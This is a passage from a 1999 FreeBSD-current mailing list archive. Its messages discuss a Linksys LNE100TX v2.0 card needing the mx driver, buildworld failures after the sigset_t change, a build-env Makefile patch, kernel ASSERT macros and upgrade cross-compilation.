> ---
>   John Polstra                                               jdp@polstra.com
>   John D. Polstra & Co., Inc.                        Seattle, Washington USA
>   "No matter how cynical I get, I just can't keep up."        -- Nora Ephron
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
> 



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  9:41:42 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dns.MexComUSA.net (cm4094.cableco-op.com [208.138.40.94])
	by hub.freebsd.org (Postfix) with ESMTP id 0F1AE15A53
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 09:40:12 -0700 (PDT)
	(envelope-from eculp@MexComUSA.net)
Received: from MexComUSA.net (cm-208-138-47-186.cableco-op.ispchannel.com [208.138.47.186])
	by dns.MexComUSA.net (8.9.3/8.9.3) with ESMTP id JAA63437;
	Thu, 30 Sep 1999 09:39:56 -0700 (PDT)
	(envelope-from eculp@MexComUSA.net)
Message-ID: <37F39267.EC5FE001@MexComUSA.net>
Date: Thu, 30 Sep 1999 16:40:07 +0000
From: Edwin Culp <eculp@MexComUSA.net>
Organization: Mexico Communicates
X-Mailer: Mozilla 4.61 [en] (X11; U; Linux 2.2.5 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Bill Paul <wpaul@skynet.ctr.columbia.edu>
Cc: current@FreeBSD.ORG
Subject: Re: Linksys LNE100TX
References: <199909301557.LAA04658@skynet.ctr.columbia.edu>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Bill Paul wrote:

> Of all the gin joints in all the towns in all the world, Edwin Culp had
> to walk into mine and say:
>
> > Fry´s was out of Intel 100/10 ethernet cards, so I bought a Linksys
> > LNE100TX remembering that I there was a driver for it.
>
> No, you bought an LNE100TX v2.0, forgetting that there's a different
> driver for it. :) (Isn't it great how the "v2.0" part is written in
> such tiny letters on the box?)

You´re right, I would have never seen it.  Thanks.

>
>
> > I added
> > device          pn0
>
> The v2.0 card uses a chip labeled 82C115 which is supposed to be a
> "PNIC II." It's really more like a new generation of the Macronix
> MX98715A: the EEPROM access mechanism is different, and it supports
> an internal SYM port, 10baseT port and NWAY as opposed to MII.
> (Actually, the Macronix chips are much closer to the actual DEC
> register interface than the PNIC.) Since it bears more resemblance
> to the Macronix chips than to the original PNIC, I added the support
> for it to the mx driver instead of the pn driver.
>
> Translation: try device mx0 instead. You don't need controller miibus0
> for this driver as I haven't converted it yet (I still haven't figured
> out what to do with the internal NWAY support).

Did it and got these messages:

mx0: <LC82C115 PNIC II 10/100BaseTX> at device 16.0 on pci0
mx0: couldn't map ports/memory
device_probe_and_attach: mx0 attach returned 6

I must be missing something else.

Thanks,

ed

>
>
> -Bill
>


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  9:42: 3 1999
Delivered-To: freebsd-current@freebsd.org
Received: from post.mail.nl.demon.net (post-10.mail.nl.demon.net [194.159.73.20])
	by hub.freebsd.org (Postfix) with ESMTP id BB8A915A44
	for <current@freebsd.org>; Thu, 30 Sep 1999 09:40:26 -0700 (PDT)
	(envelope-from marcel@scc.nl)
Received: from [212.238.132.94] (helo=scones.sup.scc.nl)
	by post.mail.nl.demon.net with esmtp (Exim 2.02 #1)
	id 11WjFq-0007WK-00; Thu, 30 Sep 1999 16:40:26 +0000
Received: from scc.nl (scones.sup.scc.nl [192.168.2.4])
	by scones.sup.scc.nl (8.9.3/8.9.3) with ESMTP id SAA01865;
	Thu, 30 Sep 1999 18:40:20 +0200 (CEST)
	(envelope-from marcel@scc.nl)
Message-ID: <37F39273.53637111@scc.nl>
Date: Thu, 30 Sep 1999 18:40:19 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Organization: SCC vof
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.5 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Kenneth Wayne Culver <culverk@wam.umd.edu>
Cc: current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
References: <Pine.GSO.4.10.9909301220370.14664-100000@rac3.wam.umd.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Kenneth Wayne Culver wrote:

> commit. But even then I still ran into problems, although I'm not sure how
> closely related they are to the changes made. My problems seem to be with
> the Soren's ata drivers.

I'm using Soren's ATA drivers myself without problems. Admitted, I'm
only using it to play audio CDs :-)

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  9:49: 4 1999
Delivered-To: freebsd-current@freebsd.org
Received: from bearmtn-e0.cgd.ucar.edu (bearmtn-e0.cgd.ucar.edu [128.117.24.2])
	by hub.freebsd.org (Postfix) with ESMTP id E0BD3158B9
	for <freebsd-current@freebsd.org>; Thu, 30 Sep 1999 09:49:01 -0700 (PDT)
	(envelope-from sitongia@cgd.ucar.edu)
Received: (from sitongia@localhost)
	by bearmtn-e0.cgd.ucar.edu (8.9.3/8.9.3) id KAA25084
	for freebsd-current@freebsd.org; Thu, 30 Sep 1999 10:49:00 -0600 (MDT)
Date: Thu, 30 Sep 1999 10:49:00 -0600 (MDT)
From: Leonard Sitongia <sitongia@cgd.ucar.edu>
Message-Id: <199909301649.KAA25084@bearmtn-e0.cgd.ucar.edu>
To: freebsd-current@freebsd.org
Subject: buildworld dies on compat-43/sigcompat.c
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


I've installed -current on an x86 laptop, and ran cvsup to update
all sources.  I build and booted a new kernel (PCCARD).  The
buildworld dies at:

cc -O -pipe -DLIBC_RCS -DSYSLIBC_RCS -I/usr/src/lib/libc/include -D__DBINTERFACE_PRIVATE -DPOSIX_MISTAKE -I/usr/src/lib/libc/../libc/locale -DBROKEN_DES -DYP -c /usr/src/lib/libc/../libc/compat-43/sigcompat.c -o sigcompat.o
/usr/src/lib/libc/../libc/compat-43/sigcompat.c: In function `sigsetmask':
/usr/src/lib/libc/../libc/compat-43/sigcompat.c:66: request for member `__bits' in something not a structure or union
/usr/src/lib/libc/../libc/compat-43/sigcompat.c:68: request for member `__bits' in something not a structure or union
/usr/src/lib/libc/../libc/compat-43/sigcompat.c: In function `sigblock':
/usr/src/lib/libc/../libc/compat-43/sigcompat.c:78: request for member `__bits' in something not a structure or union
/usr/src/lib/libc/../libc/compat-43/sigcompat.c:81: request for member `__bits' in something not a structure or union
/usr/src/lib/libc/../libc/compat-43/sigcompat.c: In function `sigpause':
/usr/src/lib/libc/../libc/compat-43/sigcompat.c:91: request for member `__bits' in something not a structure or union
*** Error code 1

Stop in /usr/src/lib/libc.
*** Error code 1
...

Can someone shed some light on this?

thanks
==Leonard

(I'm on the list as sitongia@uswest.net although I'm sending this from
work right now...)


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 10: 5:37 1999
Delivered-To: freebsd-current@freebsd.org
Received: from news.rdc1.tn.home.com (ha2.rdc1.tn.home.com [24.2.7.67])
	by hub.freebsd.org (Postfix) with ESMTP id A5CC5156CC
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 10:05:34 -0700 (PDT)
	(envelope-from dakuntz@home.com)
Received: from windows ([24.2.16.41]) by news.rdc1.tn.home.com
          (InterMail v4.01.01.00 201-229-111) with SMTP
          id <19990930170533.HMTA13734.news.rdc1.tn.home.com@windows>
          for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 10:05:33 -0700
Message-ID: <001201bf0b66$84be58a0$29100218@micronetinfo.com>
Reply-To: "Douglas Kuntz" <dakuntz@home.com>
From: "Douglas Kuntz" <dakuntz@home.com>
To: <current@FreeBSD.ORG>
References: <37F37CC3.50698B7F@MexComUSA.net>
Subject: Re: Linksys LNE100TX
Date: Thu, 30 Sep 1999 13:09:12 -0400
Organization: MicroNet Information Services
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Hmmm...I believe mine is s LNE100TX...I know it's a Linksys, and it's a
10/100 PCI..and it's runnin fine under Current (last make world was about a
week ago), as pn0
in my config:
device pn0              # Lite-On 82c168/82c169 (``PNIC'')

and from dmesg | grep pn0 :
pn0: <82c169 PNIC 10/100BaseTX> irq 10 at device 12.0 on pci0
pn0: Ethernet address: 00:a0:cc:22:dd:4f
pn0: autoneg complete, link status good (full-duplex, 100Mbps)

Is it possible that the card you bought could be defective?  (have you tried
under a release or stable build?).


Douglas Kuntz
Systems Administrator
PC Tech Reports
http://www.pctechreports.com
---FreeBSD... The choice of the smart generation---

----- Original Message -----
From: Edwin Culp <eculp@MexComUSA.net>
To: <current@FreeBSD.ORG>
Sent: Thursday, September 30, 1999 11:07 AM
Subject: Linksys LNE100TX


| Fry´s was out of Intel 100/10 ethernet cards, so I bought a Linksys
| LNE100TX remembering that I there was a driver for it.
|
| I added
| device          pn0
| to my kernel configuration and compiled the kernel.  It was not detected
| during boot.  I added the mii_bus0 controller just in case.  Recompiled
| and still not detected.
|
| Does anyone have the LNE100TX working in current?
|
| Thanks,
|
| ed
|
|
|
| To Unsubscribe: send mail to majordomo@FreeBSD.org
| with "unsubscribe freebsd-current" in the body of the message



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 10:11:27 1999
Delivered-To: freebsd-current@freebsd.org
Received: from adsl-63-195-54-213.dsl.snfc21.pacbell.net (adsl-63-195-54-213.dsl.snfc21.pacbell.net [63.195.54.213])
	by hub.freebsd.org (Postfix) with ESMTP id 03A2814CD5
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 10:11:07 -0700 (PDT)
	(envelope-from gurney_j@efn.org)
Received: (from jmg@localhost)
          by adsl-63-195-54-213.dsl.snfc21.pacbell.net (8.9.1/8.8.7) id KAA18756;
          Thu, 30 Sep 1999 10:10:55 -0700 (PDT)
Message-ID: <19990930101054.65361@hydrogen.fircrest.net>
Date: Thu, 30 Sep 1999 10:10:54 -0700
From: John-Mark Gurney <gurney_j@efn.org>
To: Marcel Moolenaar <marcel@scc.nl>
Cc: current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
References: <Pine.BSF.4.10.9909291632080.35014-100000@dt014n8c.san.rr.com> <199909292351.QAA21938@gndrsh.dnsmgr.net> <199909300054.UAA01918@khavrinen.lcs.mit.edu> <19990929220707.10581@hydrogen.fircrest.net> <37F3104A.601DA5FE@scc.nl> <19990930002757.23270@hydrogen.fircrest.net> <37F31C38.3BA7EAE2@scc.nl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.69
In-Reply-To: <37F31C38.3BA7EAE2@scc.nl>; from Marcel Moolenaar on Thu, Sep 30, 1999 at 10:15:52AM +0200
Reply-To: John-Mark Gurney <gurney_j@resnet.uoregon.edu>
Organization: Cu Networking
X-Operating-System: FreeBSD 3.0-RELEASE i386
X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31  96 7A 22 B3 D8 56 36 F4
X-Files: The truth is out there
X-URL: http://resnet.uoregon.edu/~gurney_j/
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Marcel Moolenaar scribbled this message on Sep 30:
> Try -DNOTOOLS. I don't know if the -current sources depend specifically
> on -current tools (such as egcs).

well, this may work, but it still doesn't produce a "clean" system to
build with... I don't know the number of times that I've used the
following patch to Makefile.inc1:
+build-env:
+       @echo export PATH=${STRICTTMPPATH}
+       @echo export COMPILER_PATH=${WORLDTMP}/usr/libexec:${WORLDTMP}/usr/bin
+       @echo export GCC_EXEC_PREFIX=${WORLDTMP}/usr/lib/
+       @echo export LD_LIBRARY_PATH=${WORLDTMP}${SHLIBDIR}
+       @echo export LIBRARY_PATH=${WORLDTMP}${SHLIBDIR}:${WORLDTMP}/usr/lib
+       @echo export DESTDIR=${WORLDTMP}
+
 .include <bsd.subdir.mk>

this allows me to do eval `make build-env`, and suddenly, my build
environment on my 3.0-R box becomes a standard -current world that allows
me to build kernels, programs and other things as if I WAS on a -current
box...

loosing this ability is a big problem for me...  I'd even go w/ a simple
option that converts all the signal macros into functions which get
switched depending upon the kernel...  and you only get the performance
penalty if you define the option, and it would allow everything to be
backwards compatible...

-- 
  John-Mark Gurney				Voice: +1 408 975 9651
  Cu Networking					  

  "The soul contains in itself the event that shall presently befall it.
  The event is only the actualizing of its thought." -- Ralph Waldo Emerson


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 10:13:43 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail.scc.nl (node1374.a2000.nl [62.108.19.116])
	by hub.freebsd.org (Postfix) with ESMTP id E90D31567C
	for <current@FreeBSD.org>; Thu, 30 Sep 1999 10:13:38 -0700 (PDT)
	(envelope-from freebsd-current@scc.nl)
Received: (from daemon@localhost)
	by mail.scc.nl (8.9.3/8.9.3) id TAA56840
	for current@FreeBSD.org; Thu, 30 Sep 1999 19:12:30 +0200 (CEST)
	(envelope-from freebsd-current@scc.nl)
Received: from GATEWAY by dwarf.hq.scc.nl with netnews
	for current@FreeBSD.org (current@FreeBSD.org)
To: current@FreeBSD.org
Date: Thu, 30 Sep 1999 19:12:22 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Message-ID: <37F399F6.ECDC2FA7@scc.nl>
Organization: SCC vof
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <199909301649.KAA25084@bearmtn-e0.cgd.ucar.edu>
Subject: Re: buildworld dies on compat-43/sigcompat.c
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Leonard Sitongia wrote:
> 
> I've installed -current on an x86 laptop, and ran cvsup to update
> all sources.  I build and booted a new kernel (PCCARD).  The
> buildworld dies at:
> 
> cc -O -pipe -DLIBC_RCS -DSYSLIBC_RCS -I/usr/src/lib/libc/include -D__DBINTERFACE_PRIVATE -DPOSIX_MISTAKE -I/usr/src/lib/libc/../libc/locale -DBROKEN_DES -DYP -c /usr/src/lib/libc/../libc/compat-43/sigcompat.c -o sigcompat.o
> /usr/src/lib/libc/../libc/compat-43/sigcompat.c: In function `sigsetmask':
> /usr/src/lib/libc/../libc/compat-43/sigcompat.c:66: request for member `__bits' in something not a structure or union
> /usr/src/lib/libc/../libc/compat-43/sigcompat.c:68: request for member `__bits' in something not a structure or union
> /usr/src/lib/libc/../libc/compat-43/sigcompat.c: In function `sigblock':
> /usr/src/lib/libc/../libc/compat-43/sigcompat.c:78: request for member `__bits' in something not a structure or union
> /usr/src/lib/libc/../libc/compat-43/sigcompat.c:81: request for member `__bits' in something not a structure or union
> /usr/src/lib/libc/../libc/compat-43/sigcompat.c: In function `sigpause':
> /usr/src/lib/libc/../libc/compat-43/sigcompat.c:91: request for member `__bits' in something not a structure or union
> *** Error code 1
> 
> Stop in /usr/src/lib/libc.
> *** Error code 1
> ...
> 
> Can someone shed some light on this?

You definitely have a header problem. What are your build options?

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 10:18:29 1999
Delivered-To: freebsd-current@freebsd.org
Received: from adsl-63-195-54-213.dsl.snfc21.pacbell.net (adsl-63-195-54-213.dsl.snfc21.pacbell.net [63.195.54.213])
	by hub.freebsd.org (Postfix) with ESMTP id B09E414CF6
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 10:18:23 -0700 (PDT)
	(envelope-from gurney_j@efn.org)
Received: (from jmg@localhost)
          by adsl-63-195-54-213.dsl.snfc21.pacbell.net (8.9.1/8.8.7) id KAA00979;
          Thu, 30 Sep 1999 10:18:15 -0700 (PDT)
Message-ID: <19990930101814.62251@hydrogen.fircrest.net>
Date: Thu, 30 Sep 1999 10:18:14 -0700
From: John-Mark Gurney <gurney_j@efn.org>
To: sobomax@altavista.net
Cc: Marcel Moolenaar <marcel@scc.nl>, current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
References: <37F23064.98EEBC67@scc.nl> <37F36496.523EF7F5@altavista.net> <37F36E39.C6849F10@altavista.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.69
In-Reply-To: <37F36E39.C6849F10@altavista.net>; from Maxim Sobolev on Thu, Sep 30, 1999 at 05:05:45PM +0300
Reply-To: John-Mark Gurney <gurney_j@resnet.uoregon.edu>
Organization: Cu Networking
X-Operating-System: FreeBSD 3.0-RELEASE i386
X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31  96 7A 22 B3 D8 56 36 F4
X-Files: The truth is out there
X-URL: http://resnet.uoregon.edu/~gurney_j/
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Maxim Sobolev scribbled this message on Sep 30:
[-- Warning: koi8-r is not compatible with your display.]

> Maxim Sobolev wrote:
> 
> > Why we can't load compile and small KLD with all necessary syscalls (even
> 
>                         ^^^^^^^^^^^^^^^
> I mean ".....load and compile small....". Cut and paste technology sometimes
> plays bad jokes with us.;)

hmmm.. that might be an option of providing a kld that emulates the new
syscalls on an older kernel...  I would want the patch to be available
for staticly linking into the kernel though.. I don't like LKM/KLD's on
servers that are suppose to be rock solid...  (at least not yet)

-- 
  John-Mark Gurney				Voice: +1 408 975 9651
  Cu Networking					  

  "The soul contains in itself the event that shall presently befall it.
  The event is only the actualizing of its thought." -- Ralph Waldo Emerson


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 10:42: 0 1999
Delivered-To: freebsd-current@freebsd.org
Received: from feral.com (feral.com [192.67.166.1])
	by hub.freebsd.org (Postfix) with ESMTP id 88E3014D4B
	for <current@freebsd.org>; Thu, 30 Sep 1999 10:41:57 -0700 (PDT)
	(envelope-from mjacob@feral.com)
Received: from beppo.feral.com (beppo [192.67.166.79])
	by feral.com (8.8.7/8.8.7) with ESMTP id KAA13023
	for <current@freebsd.org>; Thu, 30 Sep 1999 10:41:57 -0700
Date: Thu, 30 Sep 1999 10:41:49 -0700 (PDT)
From: Matthew Jacob <mjacob@feral.com>
Reply-To: mjacob@feral.com
To: current@freebsd.org
Subject: ASSERT macros in the kernel....
Message-ID: <Pine.BSF.4.10.9909301039190.78588-100000@beppo.feral.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


I don't seem to see (after not looking very hard) any ASSERT macros for
the kernel in FreeBSD. It'd be pretty easy to add them, and they're
awfully useful. They're different from INVARIANT support in that they
encapsulate (and panic if the assertion is triggered) more inline types of
conditions.

Any opinions?

-matt




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 10:46:54 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dns.MexComUSA.net (cm4094.cableco-op.com [208.138.40.94])
	by hub.freebsd.org (Postfix) with ESMTP id 2B791150A5
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 10:46:48 -0700 (PDT)
	(envelope-from eculp@MexComUSA.net)
Received: from MexComUSA.net (cm-208-138-47-186.cableco-op.ispchannel.com [208.138.47.186])
	by dns.MexComUSA.net (8.9.3/8.9.3) with ESMTP id KAA63804;
	Thu, 30 Sep 1999 10:46:35 -0700 (PDT)
	(envelope-from eculp@MexComUSA.net)
Message-ID: <37F3A207.B1177F9D@MexComUSA.net>
Date: Thu, 30 Sep 1999 17:46:47 +0000
From: Edwin Culp <eculp@MexComUSA.net>
Organization: Mexico Communicates
X-Mailer: Mozilla 4.61 [en] (X11; U; Linux 2.2.5 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Douglas Kuntz <dakuntz@home.com>
Cc: current@FreeBSD.ORG
Subject: Re: Linksys LNE100TX
References: <37F37CC3.50698B7F@MexComUSA.net> <001201bf0b66$84be58a0$29100218@micronetinfo.com>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Douglas Kuntz wrote:

> Hmmm...I believe mine is s LNE100TX...I know it's a Linksys, and it's a
> 10/100 PCI..and it's runnin fine under Current (last make world was about a
> week ago), as pn0
> in my config:
> device pn0              # Lite-On 82c168/82c169 (``PNIC'')
>
> and from dmesg | grep pn0 :
> pn0: <82c169 PNIC 10/100BaseTX> irq 10 at device 12.0 on pci0
> pn0: Ethernet address: 00:a0:cc:22:dd:4f
> pn0: autoneg complete, link status good (full-duplex, 100Mbps)
>
> Is it possible that the card you bought could be defective?  (have you tried
> under a release or stable build?).
>
> Douglas Kuntz
> Systems Administrator
> PC Tech Reports
> http://www.pctechreports.com
> ---FreeBSD... The choice of the smart generation---
>
> ----- Original Message -----
> From: Edwin Culp <eculp@MexComUSA.net>
> To: <current@FreeBSD.ORG>
> Sent: Thursday, September 30, 1999 11:07 AM
> Subject: Linksys LNE100TX
>
> | Fry´s was out of Intel 100/10 ethernet cards, so I bought a Linksys
> | LNE100TX remembering that I there was a driver for it.
> |
> | I added
> | device          pn0
> | to my kernel configuration and compiled the kernel.  It was not detected
> | during boot.  I added the mii_bus0 controller just in case.  Recompiled
> | and still not detected.
> |
> | Does anyone have the LNE100TX working in current?
> |
> | Thanks,
> |
> | ed
> |

Thank you very much.  I thought that was what I had, but it is an 82C115 that
is the mx driver.

Thanks again,

ed



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 11: 3: 6 1999
Delivered-To: freebsd-current@freebsd.org
Received: from post.mail.nl.demon.net (post-11.mail.nl.demon.net [194.159.73.21])
	by hub.freebsd.org (Postfix) with ESMTP id AED5A14EC7
	for <current@freebsd.org>; Thu, 30 Sep 1999 11:02:42 -0700 (PDT)
	(envelope-from marcel@scc.nl)
Received: from [212.238.132.94] (helo=scones.sup.scc.nl)
	by post.mail.nl.demon.net with esmtp (Exim 2.12 #1)
	id 11WkYp-0005G9-00; Thu, 30 Sep 1999 18:04:07 +0000
Received: from scc.nl (scones.sup.scc.nl [192.168.2.4])
	by scones.sup.scc.nl (8.9.3/8.9.3) with ESMTP id UAA04465;
	Thu, 30 Sep 1999 20:02:40 +0200 (CEST)
	(envelope-from marcel@scc.nl)
Message-ID: <37F3A5BF.A1AF21E3@scc.nl>
Date: Thu, 30 Sep 1999 20:02:39 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Organization: SCC vof
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.5 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Cc: current@FreeBSD.ORG
Subject: Re: new sigset_t and upgrading: a proposal
References: <199909301325.GAA23273@gndrsh.dnsmgr.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

"Rodney W. Grimes" wrote:

> IMHO, the only ``correct'' fix for the latest incarnation of the
> problem is to finally once and for all fix the cross compilation
> environment instead of using a half cooked tools: target to deal
> with certain problems.

brainstorm:

Upgrading cannot be solved if it is approached as being nothing more
than a cross-compilation. This can be easily seen by the following
cross-compilation prerequisites:

1. A compiler C running on machine 1 and capable of generating code
   for machine 2 (the compiler includes headers and libraries),
2. Source code compatible with compiler C, but also with machine 2.

The problem is that upgrading can violate the first part of rule 2
(source code compatible with the compiler), because you have new sources
(say -current) which you want to compile with an old compiler (say
-stable). Think of having ANSI C extensions without the proper support
for it in the compiler.

The current build-tools target tries to solve that by creating a
compiler C' by using cross-compilation. The result violates rule 1:
Compiler C' is build for machine 2 and not for machine 1 and therefore
should not be used on machine 1. This is where the discussion is all
about.

So, as long as rule 2 is not violated, cross-compilation can be used to
to build a -current system on -stable and thus also to handle upgrades.
The problem is in the case where rule 2 is violated. What's needed is
the ability to "port" the proper tools to machine 1. Well, the first
thing that comes to mind is the ports collection...

Example: If gcc on -stable can not be used to build a -current world,
then egcs must be installed from the ports collection and build as part
of the upgrade/cross-compilation. the egcs port does not violate rule 1
and since egcs is used on -current, rule 2 is also not violated. The
build process uses egcs to do the cross-compilation.

This implies that:
1. The ports collection must contain ports for all the tools that are
   needed for doing cross-compilations and/or upgrades from any
supported
   source version to any supported target version.
2. An easy, yet flexible way must be used to be able to tell whether
   ports must be installed or not. Simple rules like
	".if $source < srcvers .and $target > trgvers .then install egcs"
   where $source = `sysctl kern.osreldate` and so on, may be sufficient.

Am I being clear?
Do I make any sense? :-)
Does this in fact cover it?
Can it be done?

BTW: I'm running a make buildworld on -stable with -current sources. I'm
making assumptions I like to see verified...

> I furthermore think that if you put your mindset in the frame that this
> is just another engineering problem you'll come up with the ``right
> solution'' that will make everyone happy.

You don't have to be a committer for long to know that you can't make
everyone happy :-)

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 11: 3: 8 1999
Delivered-To: freebsd-current@freebsd.org
Received: from jade.chc-chimes.com (jade.chc-chimes.com [216.28.46.6])
	by hub.freebsd.org (Postfix) with ESMTP id AC999150D4
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 11:03:00 -0700 (PDT)
	(envelope-from billf@jade.chc-chimes.com)
Received: by jade.chc-chimes.com (Postfix, from userid 1001)
	id ED3121C29; Thu, 30 Sep 1999 13:06:30 -0400 (EDT)
Received: from localhost (localhost [127.0.0.1])
	by jade.chc-chimes.com (Postfix) with ESMTP
	id E9F9C3817; Thu, 30 Sep 1999 13:06:30 -0400 (EDT)
Date: Thu, 30 Sep 1999 13:06:30 -0400 (EDT)
From: Bill Fumerola <billf@jade.chc-chimes.com>
To: Marcel Moolenaar <marcel@scc.nl>
Cc: Harold Gutch <logix@foobar.franken.de>, Doug <Doug@gorean.org>,
	current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
In-Reply-To: <37F30A88.2DF1D7C9@scc.nl>
Message-ID: <Pine.BSF.4.10.9909301305260.35534-100000@jade.chc-chimes.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Thu, 30 Sep 1999, Marcel Moolenaar wrote:

> The upgrading from -stable to -current is currently being tested by Bill
> Fumerola. I can imagine that some might be broken in that case. This I
> will attempt to fix, then...

As others have mentioned 3.3-STABLE right now cannot build 4.0-CURRENT
kernels.

Without the 4.0-CURRENT kernel, I can't build the 4.0 world to build
the 4.0 kernel, and so on.

-- 
- bill fumerola - billf@chc-chimes.com - BF1560 - computer horizons corp -
- ph:(800) 252-2421 - bfumerol@computerhorizons.com - billf@FreeBSD.org  -






To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 11:19:47 1999
Delivered-To: freebsd-current@freebsd.org
Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4])
	by hub.freebsd.org (Postfix) with ESMTP id AFD3314DF4
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 11:19:39 -0700 (PDT)
	(envelope-from freebsd@gndrsh.dnsmgr.net)
Received: (from freebsd@localhost)
	by gndrsh.dnsmgr.net (8.9.3/8.9.3) id LAA23995;
	Thu, 30 Sep 1999 11:19:24 -0700 (PDT)
	(envelope-from freebsd)
From: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Message-Id: <199909301819.LAA23995@gndrsh.dnsmgr.net>
Subject: Re: new sigset_t and upgrading: a proposal
In-Reply-To: <37F3A5BF.A1AF21E3@scc.nl> from Marcel Moolenaar at "Sep 30, 1999 08:02:39 pm"
To: marcel@scc.nl (Marcel Moolenaar)
Date: Thu, 30 Sep 1999 11:19:23 -0700 (PDT)
Cc: current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> "Rodney W. Grimes" wrote:
> 
